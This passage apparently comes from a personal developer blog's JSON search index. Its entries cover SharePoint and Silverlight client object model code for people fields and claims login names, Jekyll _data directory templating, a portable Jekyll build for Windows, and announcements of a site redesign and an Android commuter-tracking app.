class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Updating \u0026#34;\u003c/span\u003e \u003cspan class=\"p\"\u003e+\u003c/span\u003e \u003cspan class=\"n\"\u003eitem\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eId\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e           \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"n\"\u003eConsole\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eWriteLine\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Done\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"n\"\u003eConsole\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eReadLine\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"Updating Created By field in SharePoint through Client Object Model"},{"content":"Recently, I was working on a silverlight solution and came across an issue where People WebService returned me the duplicate results for the people who are already part of the site collection. This issue can occur if SharePoint is using claim based authentication model.\nOn close inspection I found that the returned duplicate results were having different login names. For example if one result was ads\\john then the other one was i:0#.w|ads\\john.\nIt is easy to remove such duplicates if you are programming against server side directly with the following API code:\nprivate string GetLoginName(string name) { var manager = SPClaimProviderManager.Local; if (manager != null) { return SPClaimProviderManager.IsEncodedClaim(name) ? manager.DecodeClaim(name).Value : name; } return name; } However, if you are programming against Client object model, you do not have luxury of calling such API\u0026rsquo;s. For those scenarios , I wrote a small function which will take the Claim encoded login name and return the pure Windows login name.\npublic static string checkClaimsUser(String userName) { string decodedName; if (userName.Contains(\u0026#34;|\u0026#34;)) { string[] splitUserName = userName.Split(new Char[] { \u0026#39;|\u0026#39; }, StringSplitOptions.None); if (splitUserName.Length \u0026gt; 0) decodedName = splitUserName[1]; else decodedName = userName; } else { decodedName = userName; } return decodedName.ToLower(); } ","permalink":"https://madhur.co.in/blog/2014/01/29/convert-claim-based-login-name.html","summary":"\u003cp\u003eRecently, I was working on a silverlight solution and came across an issue where People WebService returned me the duplicate results for the people who are already\npart of the site collection. This issue can occur if SharePoint is using claim based authentication model.\u003c/p\u003e\n\u003cp\u003eOn close inspection I found that the returned duplicate results were having different login names. For example if one result was \u003ccode\u003eads\\john\u003c/code\u003e then the other one was \u003ccode\u003ei:0#.w|ads\\john\u003c/code\u003e.\u003c/p\u003e","title":"Convert claims based login name in SharePoint Client object model"},{"content":"While working on the silverlight client object model, I figured out that it is not very straight forward to read and write people values to the list. Especially reading the people picker field requires enumerating SiteUserInfoList list as well. In this post I am going to cover how you can write/read people values to the list.\nWrite single selection people field Singleuser = context.Web.EnsureUser(SinglePeopleChooser.selectedAccounts[0].AccountName); newItem[\u0026#34;Single\u0026#34;] = Singleuser; Write multiple selection people field List\u0026lt;FieldUserValue\u0026gt; usersList = new List\u0026lt;FieldUserValue\u0026gt;(); foreach (AccountList ac in MultiplePeopleChooser.selectedAccounts) { usersList.Add(FieldUserValue.FromUser(ac.AccountName)); } newItem[\u0026#34;Multiple\u0026#34;] = usersList; Read single selection people field Reading is more complex. First you retrieve the FieldUserValue from the people field. Unfortunately, this field only contains the display name and Site User ID of the user. You will not get the AccountName from this object which is a common requirement. You will have to perform the lookup against SiteUserInfo list to retrieve the Account Name\nprivate void LoadButton_Click(object sender, RoutedEventArgs e) { ClientContext ctx = new ClientContext(siteUrl); Web web = ctx.Web; ctx.Load(web); List list = ctx.Web.Lists.GetByTitle(\u0026#34;Madhur\u0026#34;); ctx.Load(list); ListItem targetItem = list.GetItemById(1); ctx.Load(targetItem); ctx.ExecuteQueryAsync((s, ee) =\u0026gt; { FieldUserValue singleValue = (FieldUserValue)targetItem[\u0026#34;Single\u0026#34;]; FieldUserValue[] multValue = targetItem[\u0026#34;Multiple\u0026#34;] as FieldUserValue[]; Dispatcher.BeginInvoke(() =\u0026gt; { LoadUser(ctx, singleValue, multValue); }); }, (s, ee) =\u0026gt; { Console.WriteLine(ee.Message); }); } private void LoadUser(ClientContext ctx, FieldUserValue singleValue, FieldUserValue[] multValue) { List userList = ctx.Web.SiteUserInfoList; ctx.Load(userList); ListItemCollection users = userList.GetItems(CamlQuery.CreateAllItemsQuery()); ctx.Load(users, items =\u0026gt; items.Include( item =\u0026gt; item.Id, item =\u0026gt; item[\u0026#34;Name\u0026#34;])); ctx.ExecuteQueryAsync((ss, eee) =\u0026gt; { ListItem principal = users.GetById(singleValue.LookupId); ctx.Load(principal); ctx.ExecuteQueryAsync((sss, eeee) =\u0026gt; { string username = principal[\u0026#34;Name\u0026#34;] as string; string decodedName = Utils.checkClaimsUser(username); string dispName = principal[\u0026#34;Title\u0026#34;] as string; Dispatcher.BeginInvoke(() =\u0026gt; { SinglePeopleChooser.selectedAccounts.Clear(); SinglePeopleChooser.selectedAccounts.Add(new AccountList(decodedName, dispName)); SinglePeopleChooser.UserTextBox.Text = dispName; } ); }, (sss, eeee) =\u0026gt; { Console.WriteLine(eeee.Message); }); }, (sss, eeee) =\u0026gt; { Console.WriteLine(eeee.Message); }); userList = ctx.Web.SiteUserInfoList; ctx.Load(userList); users = userList.GetItems(CamlQuery.CreateAllItemsQuery()); ctx.Load(users, items =\u0026gt; items.Include( item =\u0026gt; item.Id, item =\u0026gt; item[\u0026#34;Name\u0026#34;])); ctx.ExecuteQueryAsync((s, ee) =\u0026gt; { ListItem[] principals = new ListItem[multValue.Length]; for (int i = 0; i \u0026lt; multValue.Length; i++) { principals[i] = users.GetById(multValue[i].LookupId); ctx.Load(principals[i]); } ctx.ExecuteQueryAsync((ssss, eeeee) =\u0026gt; { string username; for (int i = 0; i \u0026lt; multValue.Length; i++) { try { username = principals[i][\u0026#34;Name\u0026#34;] as string; } catch (IndexOutOfRangeException ii) { return; } string decodedName = Utils.checkClaimsUser(username); string dispName = principals[i][\u0026#34;Title\u0026#34;] as string; Dispatcher.BeginInvoke(() =\u0026gt; { MultiplePeopleChooser.selectedAccounts.Add(new AccountList(decodedName, dispName)); } ); } }, (ssss, eeeee) =\u0026gt; { Console.WriteLine(eeeee.Message); }); }, (ssss, eeeee) =\u0026gt; { Console.WriteLine(eeeee.Message); }); } ","permalink":"https://madhur.co.in/blog/2014/01/29/read-write-people-values-sharepoint-silverlight.html","summary":"\u003cp\u003eWhile working on the silverlight client object model, I figured out that it is not very straight forward to read and write people values to the list.\nEspecially reading the people picker field requires enumerating \u003ccode\u003eSiteUserInfoList\u003c/code\u003e list as well. In this post I am going to cover how you can write/read people values to the list.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eWrite single selection people field\u003c/li\u003e\n\u003c/ul\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-c#\" data-lang=\"c#\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eSingleuser\u003c/span\u003e \u003cspan class=\"p\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eWeb\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eEnsureUser\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eSinglePeopleChooser\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eselectedAccounts\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003eAccountName\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003enewItem\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Single\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"p\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eSingleuser\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cul\u003e\n\u003cli\u003eWrite multiple selection people field\u003c/li\u003e\n\u003c/ul\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-c#\" data-lang=\"c#\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eFieldUserValue\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eusersList\u003c/span\u003e \u003cspan class=\"p\"\u003e=\u003c/span\u003e \u003cspan class=\"k\"\u003enew\u003c/span\u003e \u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eFieldUserValue\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eforeach\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eAccountList\u003c/span\u003e \u003cspan class=\"n\"\u003eac\u003c/span\u003e \u003cspan class=\"k\"\u003ein\u003c/span\u003e \u003cspan class=\"n\"\u003eMultiplePeopleChooser\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eselectedAccounts\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"n\"\u003eusersList\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAdd\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eFieldUserValue\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eFromUser\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eac\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAccountName\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003enewItem\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Multiple\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"p\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eusersList\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cul\u003e\n\u003cli\u003eRead single selection people field\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eReading is more complex. First you retrieve the \u003ccode\u003eFieldUserValue\u003c/code\u003e from the people field. Unfortunately, this field only contains the \u003ccode\u003edisplay name\u003c/code\u003e and \u003ccode\u003eSite User ID\u003c/code\u003e of the user. You will not get the \u003ccode\u003eAccountName\u003c/code\u003e from this object which is a common requirement. You will have to perform the lookup against \u003ccode\u003eSiteUserInfo\u003c/code\u003e list to retrieve the Account Name\u003c/p\u003e","title":"Reading and writing People Values in SharePoint List through Silverlight Client object model"},{"content":"Whenever you are developing a silverlight solution on SharePoint 2010, one of the basic functionality you will require is the ability to select people from your Active Directory.\nSadly, I could not find a ready made custom silverlight control which I could utilize for my solution. I decided to write on my own. Rather than writing from scratch, I decided to use the boilerplate code provided by Steve.\nIn this post, I am going to deep dive how I built this control.\nMy solution consists of two controls, PeopleChooser and PeoplePicker. PeopleChooser is a user control which is configured to either single select or multi select depending upon the configuration. Here’s a screenshot of my people Chooser control, implemented as a user control in Silverlight.\nIn case of multiple results, user can right click on the textbox to display multiple results and select one of them.\nThe multi select configuraiton is rendered as a listbox instead of a textbox. I made a conscious design decision to do this so that user instantly comes to know that this is a multi select picker by directly looking at it.\nPeoplePicker is a ChildWindow which is launched from the PeopleChooser to search and enumerate people from the active directory. Clicking on the address book button opens the people picker, where the user can select either multiple people or single people depending upon the configuration of the control. This is the screenshot of people picker control.\nFeel free to download this control or customize by downloding the source from my github repo\nAnyone, who wants to reuse or customize this control further, I will explain in brief how this works.\nBoth PeopleChooser and PeoplePicker have a listbox which employ two-way data binding. Both listbox are bound to a following data structure SelectedAccounts which is an ObservableCollection of type AccountList\npublic class SelectedAccounts : ObservableCollection\u0026lt;AccountList\u0026gt; { public SelectedAccounts(): base() { } } public class AccountList : INotifyPropertyChanged { private string _accountName; private string _displayName; } The below XAML shows the two way databinding with this data structure\n\u0026lt;ListBox x:Name=\u0026#34;UsersListBox\u0026#34; DataContext=\u0026#34;selectedAccounts\u0026#34; ItemsSource=\u0026#34;{Binding SelectedAccounts, Mode=TwoWay}\u0026#34; HorizontalAlignment=\u0026#34;Left\u0026#34; Height=\u0026#34;100\u0026#34; Margin=\u0026#34;26,43,0,0\u0026#34; VerticalAlignment=\u0026#34;Top\u0026#34; Width=\u0026#34;182\u0026#34;\u0026gt; \u0026lt;ListBox.RenderTransform\u0026gt; \u0026lt;CompositeTransform SkewX=\u0026#34;0.661\u0026#34; TranslateX=\u0026#34;0.606\u0026#34;/\u0026gt; \u0026lt;/ListBox.RenderTransform\u0026gt; \u0026lt;ListBox.ItemTemplate\u0026gt; \u0026lt;DataTemplate\u0026gt; \u0026lt;StackPanel Orientation=\u0026#34;Horizontal\u0026#34;\u0026gt; \u0026lt;TextBlock Text=\u0026#34;{Binding DisplayName}\u0026#34;/\u0026gt; \u0026lt;/StackPanel\u0026gt; \u0026lt;/DataTemplate\u0026gt; \u0026lt;/ListBox.ItemTemplate\u0026gt; \u0026lt;/ListBox\u0026gt; SelectedAccounts data structure is populated using People WebService.\nPeopleSoapClient ps = new PeopleSoapClient(); ps.Endpoint.Address = new System.ServiceModel.EndpointAddress(siteUrl + peopleWsUrl); ps.SearchPrincipalsCompleted += new EventHandler\u0026lt;SearchPrincipalsCompletedEventArgs\u0026gt;(ps_SearchPrincipalsCompleted); ps.SearchPrincipalsAsync(SearchTxt.Text, 50, SPPrincipalType.User); Depending upon if multiple selection is allowed or not, ListBox is hidden and TextBox is shown instead along with a resolve button.\npublic bool AllowMultiple { get; set; } void PeopleChooser_Loaded(object sender, RoutedEventArgs e) { if (AllowMultiple) { UsersListBox.Visibility = System.Windows.Visibility.Visible; UserTextBox.Visibility = System.Windows.Visibility.Collapsed; ResolveButton.Visibility = Visibility.Collapsed; } else { UsersListBox.Visibility = System.Windows.Visibility.Collapsed; UserTextBox.Visibility = System.Windows.Visibility.Visible; ResolveButton.Visibility = Visibility.Visible; } peoplePicker.AllowMultiple = AllowMultiple; } If there are muliple results, right mouse button on TextBox is handled and displays choices to user to enable him to select a single result.\nprivate void UserTextBox_MouseRightButtonUp(object sender, MouseButtonEventArgs e) { // Display a menu on mouse right button up cMenu = new ContextMenu(); foreach (PickerEntry pi in values.Values) { mnuItem = new MenuItem(); mnuItem.Header = pi.DisplayName; mnuItem.Name = pi.AccountName; mnuItem.Click += mnuItem_Click; cMenu.Items.Add(mnuItem); } cMenu.IsOpen = true; } void mnuItem_Click(object sender, RoutedEventArgs e) { MenuItem mnu = sender as MenuItem; values = new Dictionary\u0026lt;string, PickerEntry\u0026gt;(); values.Add(mnu.Name, new PickerEntry(mnu.Header.ToString(), mnu.Name, string.Empty, string.Empty)); SetSingleResult(values); } ","permalink":"https://madhur.co.in/blog/2014/01/29/silverlight-people-picker.html","summary":"\u003cp\u003eWhenever you are developing a silverlight solution on SharePoint 2010, one of the basic functionality you will require is the ability to select people from your Active Directory.\u003c/p\u003e\n\u003cp\u003eSadly, I could not find a ready made custom silverlight control which I could utilize for my solution. I decided to write on my own. Rather than writing from scratch, I decided to\nuse the boilerplate code \u003ca href=\"http://blogs.technet.com/b/speschka/archive/2011/08/09/writing-a-sharepoint-2010-people-picker-control-for-silverlight.aspx\"\u003eprovided\u003c/a\u003e by Steve.\u003c/p\u003e\n\u003cp\u003eIn this post, I am going to deep dive how I built this control.\u003c/p\u003e","title":"Writing Silverlight people picker control using SharePoint 2010 Client object model"},{"content":"Happy New year.\nTo start the New Year my web site has had a makeover, but it is not just a change to my 2014 new look, visitors can now browse my site on their mobile phones and tablets with the new compatible formatting.\nThe screenshots demonstrates below how this site looks on an Samsung Galaxy S3 compared to how it used to look previously. Thanks to the new CSS media query features in CSS 3.\nOld look New look I believe the new look is much more responsive.\nThat\u0026rsquo;s just not all. Behind the scenes, the site CSS is now generated handsomely through LESS CSS pre-processor resulting in huge reduction of maintainence of CSS. I wanted to use SASS pre-processor instead of LESS but preferred LESS because of lower learning curve. However, I plan to switch to SASS once I learn it as I believe that is the future.\nThe design of this site is heavily inspired from ActionBarSherlock. Thanks to Jake Wharton\nLeave on in comments, how did you find the new look of the site !!\n","permalink":"https://madhur.co.in/blog/2014/01/10/newlookofmysite.html","summary":"\u003cp\u003eHappy New year.\u003c/p\u003e\n\u003cp\u003eTo start the New Year my web site has had a makeover, but it is not just a change to my 2014 new look, visitors can now browse my site on their mobile phones and tablets with the new compatible formatting.\u003c/p\u003e\n\u003cp\u003eThe screenshots demonstrates below how this site looks on an Samsung Galaxy S3 compared to how it used to look previously. Thanks to the new CSS media query features in CSS 3.\u003c/p\u003e","title":"New look for my site"},{"content":"There was an idea which has fostered in my mind for last couple of years. I have been always thinking of converting into an app and now I was finally able to do it, and hence\nHermes Hermes is an attempt to provide a sense of security to all the travelers of all over the world and especially the women who use the public transport to commute to their work place and back home.\nHermes is an application that lets a commuter be tracked while on the road, posting the whereabouts at regular intervals on popular social network. The posts are secured and are visible to only those whom the commuter has provided permissions to view. It also enables your friends and family to know your whereabouts by sending you a SMS containing a secret code.\nHermes is available for free in the Google Play Store, there will never be a pro / paid version.\nHead over to projects section to find out more about this app\n","permalink":"https://madhur.co.in/blog/2013/11/05/introducinghermesandroidapp.html","summary":"\u003cp\u003eThere was an idea which has fostered in my mind for last couple of years. I have been always thinking of converting into an app and now I was finally able to do it, and hence\u003c/p\u003e\n\u003ch2 id=\"hermes\"\u003eHermes\u003c/h2\u003e\n\u003cp\u003eHermes is an attempt to provide a sense of security to all the travelers of all over the world and especially the women who use the public transport to commute to their work place and back home.\u003c/p\u003e","title":"Introducing Hermes Android App"},{"content":"Jekyll 1.3.0 comes with exciting new features especially the use of \\_data directories. The \\_data directory is very useful in cases where you want to store metadata related to your site or blog and want to load it in runtime. Earlier people used to put this in \\_config.yml which was kind of a hack.\nHow can you make most out of _data directory ? If you\u0026rsquo;ve a file trucks.yaml under \\_data, then you can access it with\n{% for truck in site.data.trucks %} So you can have members.yaml, projects.yaml, products.yaml under \\_data, and access them respectively as\nsite.data.members site.data.projects site.data.products For instance, this current site itself makes use of \\_data directory extensively. Have a look at Projects section.\nThe entire left navigation of Projects section is driven dynamically through a simple YAML file in \\_data directory, which is projects.yaml and looks like:\n--- - project: Hermes category: Android publish: yes description: Hermes is an attempt to provide a sense of security to all the travelers of all over the world and especially the women in India who use the public transport to commute to their work place and back home. - project: Silverlight Organization Chart for SharePoint category: SharePoint publish: yes description: A silverlight Chart control which retrieves data from the SharePoint list. - project: STP Inspector category: SharePoint publish: yes description: STP Inspector is an site template inspector for WSS/MOSS 2007. It analyzes a site template file (.stp) and basically shows its dependencies on the site features and site collection features. Now what I can in Jekyll is simply refer to Project Name, category, description using the site variable array as site.data.projects and loop through it using\n{% for project in site.data.projects %} {{ project.project }} {% endfor %} Using the simple structure above, I have dynamically generated both my left navigation and content page. In future, if I work on a new project, I just need to edit the projects.yaml file and Jekyll would automatically update the left navigation and content page.\nThis is the simple code of generating left navigation which I have done in my includes file projects-left.html\n\u0026lt;div id=\u0026#34;projects\u0026#34;\u0026gt; \u0026lt;p class=\u0026#34;single\u0026#34;\u0026gt;\u0026lt;a href=\u0026#34;/projects\u0026#34;\u0026gt;Projects\u0026lt;/a\u0026gt;\u0026lt;/p\u0026gt; {% for category in site.data.categories %} \u0026lt;p class=\u0026#34;project-category\u0026#34;\u0026gt;{{ category.category }}\u0026lt;/p\u0026gt; \u0026lt;ul class=\u0026#34;subcategory\u0026#34;\u0026gt; {% for project in site.data.projects %} {% if project.category == category.category and project.publish == true %} \u0026lt;li\u0026gt;\u0026lt;a href=\u0026#34;/projects/{{ project.project }}.html\u0026#34;\u0026gt;{{ project.project }}\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt; {% endif %} {% endfor %} \u0026lt;/ul\u0026gt; {% endfor %} \u0026lt;/div\u0026gt; This is how I generate my content page which nicely generates the project names along with descriptions. You can have a look at source here\n{% for project in site.data.projects %} {% if project.publish == true %} \u0026lt;strong\u0026gt;\u0026lt;a href=\u0026#34;/projects/{{ project.project }}.html\u0026#34;\u0026gt;{{ project.project }}\u0026lt;/a\u0026gt;\u0026lt;/strong\u0026gt; \u0026lt;span class=\u0026#34;tag-project\u0026#34;\u0026gt;{{ project.category }}\u0026lt;/span\u0026gt; {{ project.description }} \u0026lt;hr/\u0026gt; {% endif %} {% endfor %} \u0026lt;/div\u0026gt; This is where \\_data directory comes in handy where you don\u0026rsquo;t want to embed little pieces of information regarding your site in dirty repeating html. Using \\_data directory, you can make the information which is going to change over the period of time structured and also provide dynamism at the same time.\n","permalink":"https://madhur.co.in/blog/2013/11/05/makingmostdatadirectory.html","summary":"\u003cp\u003eJekyll 1.3.0 comes with exciting new features especially the use of \u003ccode\u003e\\_data\u003c/code\u003e directories. The \u003ccode\u003e\\_data\u003c/code\u003e directory is very useful in cases where you want to store\nmetadata related to your site or blog and want to load it in runtime. Earlier people used to put this in \u003ccode\u003e\\_config.yml\u003c/code\u003e which was kind of a hack.\u003c/p\u003e\n\u003ch2 id=\"how-can-you-make-most-out-of-_data-directory-\"\u003eHow can you make most out of _data directory ?\u003c/h2\u003e\n\u003cp\u003eIf you\u0026rsquo;ve a file \u003ccode\u003etrucks.yaml\u003c/code\u003e under \u003ccode\u003e\\_data\u003c/code\u003e, then you can access it with\u003c/p\u003e","title":"Making most out of _data directory in Jekyll"},{"content":"The portable Jekyll for Windows has been updated with latest version of Jekyll v 1.3.0\nJekyll 1.3.0 comes with exiciting new features especially the use of _data directories. I will be writing a separate blog post on how to best make use of _data directory in Jekyll.\nThe portable version contains everything which is required to run Jekyll on Windows:\nRuby 2.0 Ruby development Kit Git 1.8.3 Python 2.7.5 You can download the complete updated PortableJekyll package here from my github repo\n","permalink":"https://madhur.co.in/blog/2013/11/05/updateportablejekyll.html","summary":"\u003cp\u003eThe portable Jekyll for Windows has been updated with latest version of Jekyll v 1.3.0\u003c/p\u003e\n\u003cp\u003eJekyll 1.3.0 comes with exiciting new features especially the use of _data directories. I will be writing a separate blog post on how to best make use of _data directory in Jekyll.\u003c/p\u003e\n\u003cp\u003eThe portable version contains everything which is required to run Jekyll on Windows:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eRuby 2.0\u003c/li\u003e\n\u003cli\u003eRuby development Kit\u003c/li\u003e\n\u003cli\u003eGit 1.8.3\u003c/li\u003e\n\u003cli\u003ePython 2.7.5\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eYou can download the complete updated PortableJekyll package \u003ca href=\"https://github.com/madhur/PortableJekyll\"\u003ehere from my github repo\u003c/a\u003e\u003c/p\u003e","title":"Portable Jekyll Updated to Jekyll v1.3.0"},{"content":"My adventure with Corel Draw. Source here\n","permalink":"https://madhur.co.in/blog/2013/07/20/adventurecoreldraw.html","summary":"\u003cp\u003eMy adventure with Corel Draw. \u003ca href=\"/images/UUBlock.cdr\"\u003eSource here\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Pic1\" loading=\"lazy\" src=\"/images/UUBlock.png\"\u003e\u003c/p\u003e","title":"Adventures with Corel Draw"},{"content":"Recently, I was trying to install Jekyll on Windows on multiple computers and got frustrated with enormous amount of work I had to do.\nIf anyone of you have seen my earlier blogpost on Installing Jekyll on Windows , you would agree that it requires considerable amount of effort.\nHence, I decided to build a portable version of Jekyll for myself, which I could easily copy on multiple computers. The portable version contains everything which is required to run Jekyll on Windows:\nRuby 2.0 Ruby development Kit Git 1.9.2 Python 2.7.5 You can download the Complete PortableJekyll package here from my github repo\nIt comes with following pre-installed gems including Jekyll 2.0.1\nactivesupport (3.1.12) addressable (2.3.5) bigdecimal (1.2.0) blankslate (2.1.2.4) builder (3.2.2) celluloid (0.15.2) celluloid-io (0.15.0) chronic (0.10.2) classifier (1.3.3) coffee-script (2.2.0) coffee-script-source (1.7.0) colorator (0.1) commander (4.1.5) cub (0.0.4) curb (0.8.5, 0.7.18) directory_watcher (1.4.1) execjs (2.0.2) faraday (0.8.8) fast-stemmer (1.0.2) feedzirra (0.1.3) ffi (1.9.3) hashie (2.0.5) highline (1.6.19) i18n (0.6.5) io-console (0.4.2) jekyll (2.0.1) jekyll-coffeescript (1.0.0) jekyll-sass-converter (1.0.0, 1.0.0.rc4, 1.0.0.rc3) json (1.7.7) kramdown (1.3.2) liquid (2.5.5, 2.5.3, 2.5.1, 2.5.0) listen (2.7.1, 1.3.1) loofah (1.2.1) maruku (0.7.0, 0.6.1) mercenary (0.3.2, 0.2.1) mini_portile (0.5.1) minitest (4.3.2) multi_json (1.8.1) multipart-post (1.2.0) nio4r (1.0.0) nokogiri (1.6.0 x86-mingw32) ocra (1.3.1) octokit (2.4.0) parslet (1.5.0) posix-spawn (0.3.6) psych (2.0.0) pygments.rb (0.5.0) rake (0.9.6) rb-fsevent (0.9.3) rb-inotify (0.9.2) rb-kqueue (0.2.0) rdoc (4.0.0, 3.12.2) redcarpet (3.1.1, 2.3.0) rouge (1.3.2) safe_yaml (1.0.1, 0.9.7, 0.7.1) sass (3.2.12) sawyer (0.5.1) sax-machine (0.1.0) syntax (1.0.0) test-unit (2.0.0.0) timers (1.1.0) toml (0.1.0) wdm (0.1.0) yajl-ruby (1.1.0) ","permalink":"https://madhur.co.in/blog/2013/07/20/buildportablejekyll.html","summary":"\u003cp\u003eRecently, I was trying to install Jekyll on Windows on multiple computers and got frustrated with enormous amount of work I had to do.\u003c/p\u003e\n\u003cp\u003eIf anyone of you have seen my earlier blogpost on \u003ca href=\"/blog/2011/09/01/runningjekyllwindows.html\"\u003eInstalling Jekyll on Windows\u003c/a\u003e , you would agree that it requires considerable amount of effort.\u003c/p\u003e\n\u003cp\u003eHence, I decided to build a portable version of Jekyll for myself, which I could easily copy on multiple computers. The portable version contains\neverything which is required to run Jekyll on Windows:\u003c/p\u003e","title":"Building portable Jekyll for Windows"},{"content":"Jekyll has been upgraded to 1.0.2 and in process I have also updated this blog to be compatible with Jekyll 